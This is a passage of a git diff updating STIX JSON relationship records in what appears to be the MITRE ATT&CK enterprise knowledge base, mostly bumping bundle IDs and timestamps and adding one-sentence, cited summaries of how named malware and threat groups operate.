+++ b/enterprise-attack/relationship/relationship--44858dc2-c869-42a0-8f67-3ddd9660b538.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--41c7b065-848e-4899-8020-dd5f41118301",
+    "id": "bundle--b85709d4-32e1-4fbd-b22a-90e62f8a1f25",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--44858dc2-c869-42a0-8f67-3ddd9660b538",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.037Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
             "target_ref": "tool--2fab555f-7664-4623-b4e0-1675ae38190b",
diff --git a/enterprise-attack/relationship/relationship--448a35fc-fecf-4373-9888-30c37dd1d56a.json b/enterprise-attack/relationship/relationship--448a35fc-fecf-4373-9888-30c37dd1d56a.json
index 5fa614a82f..9fccdb8716 100644
--- a/enterprise-attack/relationship/relationship--448a35fc-fecf-4373-9888-30c37dd1d56a.json
+++ b/enterprise-attack/relationship/relationship--448a35fc-fecf-4373-9888-30c37dd1d56a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ec0d697e-0bfa-4bd6-8749-cf16269b9df7",
+    "id": "bundle--4226e326-d73b-4c62-950e-d75b45b1fec1",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--448a35fc-fecf-4373-9888-30c37dd1d56a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Adversaries can instruct Duqu to spread laterally by copying itself to shares it has enumerated and for which it has obtained legitimate credentials (via keylogging or other means). The remote host is then infected by using the compromised credentials to schedule a task on remote machines that executes the malware.",
             "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c",
diff --git a/enterprise-attack/relationship/relationship--44908b0a-993a-4339-b30f-f0f1a64c0753.json b/enterprise-attack/relationship/relationship--44908b0a-993a-4339-b30f-f0f1a64c0753.json
index 040727878e..ba95f508bd 100644
--- a/enterprise-attack/relationship/relationship--44908b0a-993a-4339-b30f-f0f1a64c0753.json
+++ b/enterprise-attack/relationship/relationship--44908b0a-993a-4339-b30f-f0f1a64c0753.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b8baa497-7969-4aae-aca5-8aaa07612c88",
+    "id": "bundle--f1a4b3e9-768a-4fb6-a99a-4f5f68ffc147",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--44908b0a-993a-4339-b30f-f0f1a64c0753",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pteranodon copies itself to the Startup folder to establish persistence.",
             "source_ref": "malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd",
diff --git a/enterprise-attack/relationship/relationship--44b56e08-7cd1-442c-8806-c69bb65fd231.json b/enterprise-attack/relationship/relationship--44b56e08-7cd1-442c-8806-c69bb65fd231.json
index 2d36e66684..53ad4c64e4 100644
--- a/enterprise-attack/relationship/relationship--44b56e08-7cd1-442c-8806-c69bb65fd231.json
+++ b/enterprise-attack/relationship/relationship--44b56e08-7cd1-442c-8806-c69bb65fd231.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--266ecf42-805b-4743-9f85-b686e00d716e",
+    "id": "bundle--2d545dac-7707-4ee6-a78f-70e33659ee38",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--44b56e08-7cd1-442c-8806-c69bb65fd231",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ROCKBOOT is a Master Boot Record (MBR) bootkit that uses the MBR to establish persistence.",
             "source_ref": "malware--cba78a1c-186f-4112-9e6a-be1839f030f7",
diff --git a/enterprise-attack/relationship/relationship--44f230bb-b59a-4f30-8203-5e5ffd9796f5.json b/enterprise-attack/relationship/relationship--44f230bb-b59a-4f30-8203-5e5ffd9796f5.json
index f12dec7354..740d830fc5 100644
--- a/enterprise-attack/relationship/relationship--44f230bb-b59a-4f30-8203-5e5ffd9796f5.json
+++ b/enterprise-attack/relationship/relationship--44f230bb-b59a-4f30-8203-5e5ffd9796f5.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a524ab52-2da4-4c49-b27e-cfe661d80682",
+    "id": "bundle--84c8324b-c33a-4707-88d7-3a9e29b82ace",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--44f230bb-b59a-4f30-8203-5e5ffd9796f5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.043Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Deep Panda uses Web shells on publicly accessible Web servers to access victim networks.",
             "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064",
diff --git a/enterprise-attack/relationship/relationship--4527c528-8377-4349-ae5c-95c04cabd3d4.json b/enterprise-attack/relationship/relationship--4527c528-8377-4349-ae5c-95c04cabd3d4.json
index 24cf35eead..cd5af8f34c 100644
--- a/enterprise-attack/relationship/relationship--4527c528-8377-4349-ae5c-95c04cabd3d4.json
+++ b/enterprise-attack/relationship/relationship--4527c528-8377-4349-ae5c-95c04cabd3d4.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f24de084-d748-4edf-b4da-6080af356a01",
+    "id": "bundle--01bf7bf3-319e-4e62-bd5d-a5ae174d1ee7",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--4527c528-8377-4349-ae5c-95c04cabd3d4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "H1N1 uses multiple techniques to obfuscate strings, including XOR.",
             "source_ref": "malware--f8dfbc54-b070-4224-b560-79aaa5f835bd",
diff --git a/enterprise-attack/relationship/relationship--453914ae-8d76-4796-b507-dafc33adf005.json b/enterprise-attack/relationship/relationship--453914ae-8d76-4796-b507-dafc33adf005.json
index 40806aa758..9a0a7e6895 100644
--- a/enterprise-attack/relationship/relationship--453914ae-8d76-4796-b507-dafc33adf005.json
+++ b/enterprise-attack/relationship/relationship--453914ae-8d76-4796-b507-dafc33adf005.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--500e07bc-808e-47fe-8957-80f6c92c83e6",
+    "id": "bundle--d82e71af-875d-464d-81dd-ac006a7d9c19",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--453914ae-8d76-4796-b507-dafc33adf005",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "4H RAT uses HTTP for command and control.",
             "source_ref": "malware--8e461ca3-0996-4e6e-a0df-e2a5bbc51ebc",
diff --git a/enterprise-attack/relationship/relationship--45522d60-160a-4c07-bd98-9a487175910e.json b/enterprise-attack/relationship/relationship--45522d60-160a-4c07-bd98-9a487175910e.json
index 40369d40c4..eac3e00814 100644
--- a/enterprise-attack/relationship/relationship--45522d60-160a-4c07-bd98-9a487175910e.json
+++ b/enterprise-attack/relationship/relationship--45522d60-160a-4c07-bd98-9a487175910e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3ff61a3b-da97-45ad-9015-a38324aa424c",
+    "id": "bundle--116becec-4507-4b8f-a845-cc50e8159be9",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--45522d60-160a-4c07-bd98-9a487175910e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SeaDuke compressed data with zlib prior to sending it over C2.",
             "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14",
diff --git a/enterprise-attack/relationship/relationship--4556634c-06f7-48f9-bcaa-22d023524068.json b/enterprise-attack/relationship/relationship--4556634c-06f7-48f9-bcaa-22d023524068.json
index 2d84bd0c4e..c86cd758e3 100644
--- a/enterprise-attack/relationship/relationship--4556634c-06f7-48f9-bcaa-22d023524068.json
+++ b/enterprise-attack/relationship/relationship--4556634c-06f7-48f9-bcaa-22d023524068.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3e12806e-b3e6-470c-996b-3764ccf58f47",
+    "id": "bundle--810e14b3-beb5-4714-ae98-6765d069fc78",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--4556634c-06f7-48f9-bcaa-22d023524068",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The \"Uploader\" variant of HAMMERTOSS visits a hard-coded server over HTTP/S to download the images HAMMERTOSS uses to receive commands.",
             "source_ref": "malware--2daa14d6-cbf3-4308-bb8e-213c324a08e4",
diff --git a/enterprise-attack/relationship/relationship--45966f4c-51d4-4940-854d-79d712f63ed5.json b/enterprise-attack/relationship/relationship--45966f4c-51d4-4940-854d-79d712f63ed5.json
index 6a49553b68..e811c51825 100644
--- a/enterprise-attack/relationship/relationship--45966f4c-51d4-4940-854d-79d712f63ed5.json
+++ b/enterprise-attack/relationship/relationship--45966f4c-51d4-4940-854d-79d712f63ed5.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--cf657b35-f395-4e1e-8d6b-69ff542b1445",
+    "id": "bundle--3a8adc90-728c-42e6-9002-2cea2dbc0bdc",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--45966f4c-51d4-4940-854d-79d712f63ed5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.054Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050",
             "target_ref": "malware--22addc7b-b39f-483d-979a-1b35147da5de",
diff --git a/enterprise-attack/relationship/relationship--45a89f5b-a7de-46c9-93d6-15f2170128e4.json b/enterprise-attack/relationship/relationship--45a89f5b-a7de-46c9-93d6-15f2170128e4.json
new file mode 100644
index 0000000000..e004ebce7e
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--45a89f5b-a7de-46c9-93d6-15f2170128e4.json
@@ -0,0 +1,20 @@
+{
+    "type": "bundle",
+    "id": "bundle--3f6dc6d9-50c7-4692-ba44-3d723b95e10a",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--45a89f5b-a7de-46c9-93d6-15f2170128e4",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--68ba94ab-78b8-43e7-83e2-aed3466882c6",
+            "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--45f9e4b6-a6a0-4f9f-aae9-9e8a69f5681d.json b/enterprise-attack/relationship/relationship--45f9e4b6-a6a0-4f9f-aae9-9e8a69f5681d.json
index 4b28b56159..9b975b16ba 100644
--- a/enterprise-attack/relationship/relationship--45f9e4b6-a6a0-4f9f-aae9-9e8a69f5681d.json
+++ b/enterprise-attack/relationship/relationship--45f9e4b6-a6a0-4f9f-aae9-9e8a69f5681d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8e797644-4a6c-4bcb-a54e-f3097840520d",
+    "id": "bundle--1e103890-2059-49c3-809e-ae6214242701",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--45f9e4b6-a6a0-4f9f-aae9-9e8a69f5681d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RTM can obtain a list of smart card readers attached to the victim.",
             "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
diff --git a/enterprise-attack/relationship/relationship--464ce0ed-31a5-4a99-9791-9ce5bb987f58.json b/enterprise-attack/relationship/relationship--464ce0ed-31a5-4a99-9791-9ce5bb987f58.json
index b1dcfd8852..57c679ce36 100644
--- a/enterprise-attack/relationship/relationship--464ce0ed-31a5-4a99-9791-9ce5bb987f58.json
+++ b/enterprise-attack/relationship/relationship--464ce0ed-31a5-4a99-9791-9ce5bb987f58.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--81190e8d-e508-4beb-9f79-bc6eeb3be3de",
+    "id": "bundle--8d593db5-c694-4d3c-9e65-94c136eca2a3",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--464ce0ed-31a5-4a99-9791-9ce5bb987f58",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "PlugX has used to use DLL side-loading to evade anti-virus and to maintain persistence on a victim.",
             "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd",
diff --git a/enterprise-attack/relationship/relationship--46660a8a-7724-4577-b09e-551a1ce61bfc.json b/enterprise-attack/relationship/relationship--46660a8a-7724-4577-b09e-551a1ce61bfc.json
index 5d5c751baa..6cdefca8f7 100644
--- a/enterprise-attack/relationship/relationship--46660a8a-7724-4577-b09e-551a1ce61bfc.json
+++ b/enterprise-attack/relationship/relationship--46660a8a-7724-4577-b09e-551a1ce61bfc.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ec67d5f0-dbe3-4189-94f7-37df34d164f5",
+    "id": "bundle--2b1a8cd0-4b19-47c0-9622-810761534f13",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--46660a8a-7724-4577-b09e-551a1ce61bfc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Duqu creates a new service that loads a malicious driver when the system starts. When Duqu is active, the operating system believes that the driver is legitimate, as it has been signed with a valid private key.",
             "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c",
diff --git a/enterprise-attack/relationship/relationship--4696a49d-caa1-4746-b106-45faf327270b.json b/enterprise-attack/relationship/relationship--4696a49d-caa1-4746-b106-45faf327270b.json
new file mode 100644
index 0000000000..deeba6507e
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--4696a49d-caa1-4746-b106-45faf327270b.json
@@ -0,0 +1,33 @@
+{
+    "type": "bundle",
+    "id": "bundle--b799e5c8-9cba-4d65-ac60-64b9b991c0ea",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--4696a49d-caa1-4746-b106-45faf327270b",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Matroyshka can establish persistence by adding Registry Run keys.",
+            "source_ref": "malware--1cc934e4-b01d-4543-a011-b988dfc1a458",
+            "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc",
+            "external_references": [
+                {
+                    "source_name": "ClearSky Wilted Tulip July 2017",
+                    "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.",
+                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation%20Wilted%20Tulip.pdf"
+                },
+                {
+                    "source_name": "CopyKittens Nov 2015",
+                    "description": "Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.",
+                    "url": "https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--46f301cd-8ae3-431a-931b-df4bb4fee271.json b/enterprise-attack/relationship/relationship--46f301cd-8ae3-431a-931b-df4bb4fee271.json
new file mode 100644
index 0000000000..ef92f8d76e
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--46f301cd-8ae3-431a-931b-df4bb4fee271.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--1a80df57-89e2-4f57-b2e6-d6f188436384",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--46f301cd-8ae3-431a-931b-df4bb4fee271",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Remsec harvests plain-text credentials as a password filter registered on domain controllers.",
+            "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
+            "target_ref": "attack-pattern--b8c5c9dd-a662-479d-9428-ae745872537c",
+            "external_references": [
+                {
+                    "source_name": "Kaspersky ProjectSauron Full Report",
+                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Retrieved August 17, 2016.",
+                    "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT%20research%20KL.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--46f853ea-3f45-4570-a155-826bec98456d.json b/enterprise-attack/relationship/relationship--46f853ea-3f45-4570-a155-826bec98456d.json
index e879dc0381..f917d855d3 100644
--- a/enterprise-attack/relationship/relationship--46f853ea-3f45-4570-a155-826bec98456d.json
+++ b/enterprise-attack/relationship/relationship--46f853ea-3f45-4570-a155-826bec98456d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9821c3b4-76d5-47c4-b7a9-370a52cd044f",
+    "id": "bundle--3ba9d2d5-8c68-4557-8da4-4a73a6fe9593",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--46f853ea-3f45-4570-a155-826bec98456d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT28 has been known to specifically look for Firefox passwords on the file system ",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
diff --git a/enterprise-attack/relationship/relationship--47109a67-e1af-4f5c-8c58-c1580ff5c6ec.json b/enterprise-attack/relationship/relationship--47109a67-e1af-4f5c-8c58-c1580ff5c6ec.json
index 3cfebfaa65..c3d4ac1c14 100644
--- a/enterprise-attack/relationship/relationship--47109a67-e1af-4f5c-8c58-c1580ff5c6ec.json
+++ b/enterprise-attack/relationship/relationship--47109a67-e1af-4f5c-8c58-c1580ff5c6ec.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0e0ee754-2a88-4c90-b870-ecb69ea47cb4",
+    "id": "bundle--d0e912b1-e4d5-4941-bae6-a60f5054afb1",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--47109a67-e1af-4f5c-8c58-c1580ff5c6ec",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Regin stage 1 modules for 64-bit systems have been found to be signed with fake certificates masquerading as originating from Microsoft Corporation and Broadcom Corporation.",
             "source_ref": "malware--4c59cce8-cb48-4141-b9f1-f646edfaadb0",
diff --git a/enterprise-attack/relationship/relationship--47214641-972c-4924-828a-3db470553dcb.json b/enterprise-attack/relationship/relationship--47214641-972c-4924-828a-3db470553dcb.json
new file mode 100644
index 0000000000..872cbc4122
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--47214641-972c-4924-828a-3db470553dcb.json
@@ -0,0 +1,20 @@
+{
+    "type": "bundle",
+    "id": "bundle--54901b0a-323c-41b1-9850-b195875e50d0",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--47214641-972c-4924-828a-3db470553dcb",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--68ba94ab-78b8-43e7-83e2-aed3466882c6",
+            "target_ref": "malware--0998045d-f96e-4284-95ce-3c8219707486",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--47316750-4ca7-4ea3-b72c-9d7c7d895e3a.json b/enterprise-attack/relationship/relationship--47316750-4ca7-4ea3-b72c-9d7c7d895e3a.json
index 589811ca00..0b7f5cdb46 100644
--- a/enterprise-attack/relationship/relationship--47316750-4ca7-4ea3-b72c-9d7c7d895e3a.json
+++ b/enterprise-attack/relationship/relationship--47316750-4ca7-4ea3-b72c-9d7c7d895e3a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c4dd205b-cf51-4b51-9cae-8e4364e13a5e",
+    "id": "bundle--b7029e22-a33c-4e83-9e37-5f6e3420b8fd",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--47316750-4ca7-4ea3-b72c-9d7c7d895e3a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.025Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--4320b080-9ae9-4541-9b8b-bcd0961dbbbd",
             "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e",
diff --git a/enterprise-attack/relationship/relationship--47415cec-25f8-4425-9125-157e1637a687.json b/enterprise-attack/relationship/relationship--47415cec-25f8-4425-9125-157e1637a687.json
new file mode 100644
index 0000000000..ede40200f1
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--47415cec-25f8-4425-9125-157e1637a687.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--02b8016f-02b2-4705-917b-4ffcddd5a29a",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--47415cec-25f8-4425-9125-157e1637a687",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Matroyshka uses reflective DLL injection to inject the malicious library and execute the RAT.",
+            "source_ref": "malware--1cc934e4-b01d-4543-a011-b988dfc1a458",
+            "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
+            "external_references": [
+                {
+                    "source_name": "CopyKittens Nov 2015",
+                    "description": "Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.",
+                    "url": "https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--47545d87-b0ae-45ae-aeea-dc849eac2f6f.json b/enterprise-attack/relationship/relationship--47545d87-b0ae-45ae-aeea-dc849eac2f6f.json
index e6702ec7ab..694fc8991d 100644
--- a/enterprise-attack/relationship/relationship--47545d87-b0ae-45ae-aeea-dc849eac2f6f.json
+++ b/enterprise-attack/relationship/relationship--47545d87-b0ae-45ae-aeea-dc849eac2f6f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e6f2a7ed-c6e3-442f-9f37-07e54951cc70",
+    "id": "bundle--af8e4d89-4f5c-4a68-965b-74880aa5d89c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--47545d87-b0ae-45ae-aeea-dc849eac2f6f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.037Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
             "target_ref": "malware--b42378e0-f147-496f-992a-26a49705395b",
diff --git a/enterprise-attack/relationship/relationship--47639246-6268-4a7e-9670-965873bdfb42.json b/enterprise-attack/relationship/relationship--47639246-6268-4a7e-9670-965873bdfb42.json
index cc3341387e..75f8d5206d 100644
--- a/enterprise-attack/relationship/relationship--47639246-6268-4a7e-9670-965873bdfb42.json
+++ b/enterprise-attack/relationship/relationship--47639246-6268-4a7e-9670-965873bdfb42.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--48f2b361-bdcf-4ad0-8d0d-00309593ce4f",
+    "id": "bundle--46c387ab-711d-4380-a07e-4bbbba6ce731",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--47639246-6268-4a7e-9670-965873bdfb42",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--1a7f5bd3-f6ee-4bd7-b949-2f3632ad6158",
             "target_ref": "attack-pattern--6fb6408c-0db3-41d9-a3a1-a32e5f16454e",
diff --git a/enterprise-attack/relationship/relationship--47835d17-73e1-427f-85b0-b55b610fa9ad.json b/enterprise-attack/relationship/relationship--47835d17-73e1-427f-85b0-b55b610fa9ad.json
index f7330a9a36..023cc17942 100644
--- a/enterprise-attack/relationship/relationship--47835d17-73e1-427f-85b0-b55b610fa9ad.json
+++ b/enterprise-attack/relationship/relationship--47835d17-73e1-427f-85b0-b55b610fa9ad.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--181402bc-e7d0-4971-bad0-6f4f5fd96a36",
+    "id": "bundle--f078f881-278e-4ffa-95d1-6ed0d1d25d63",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--47835d17-73e1-427f-85b0-b55b610fa9ad",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.059Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
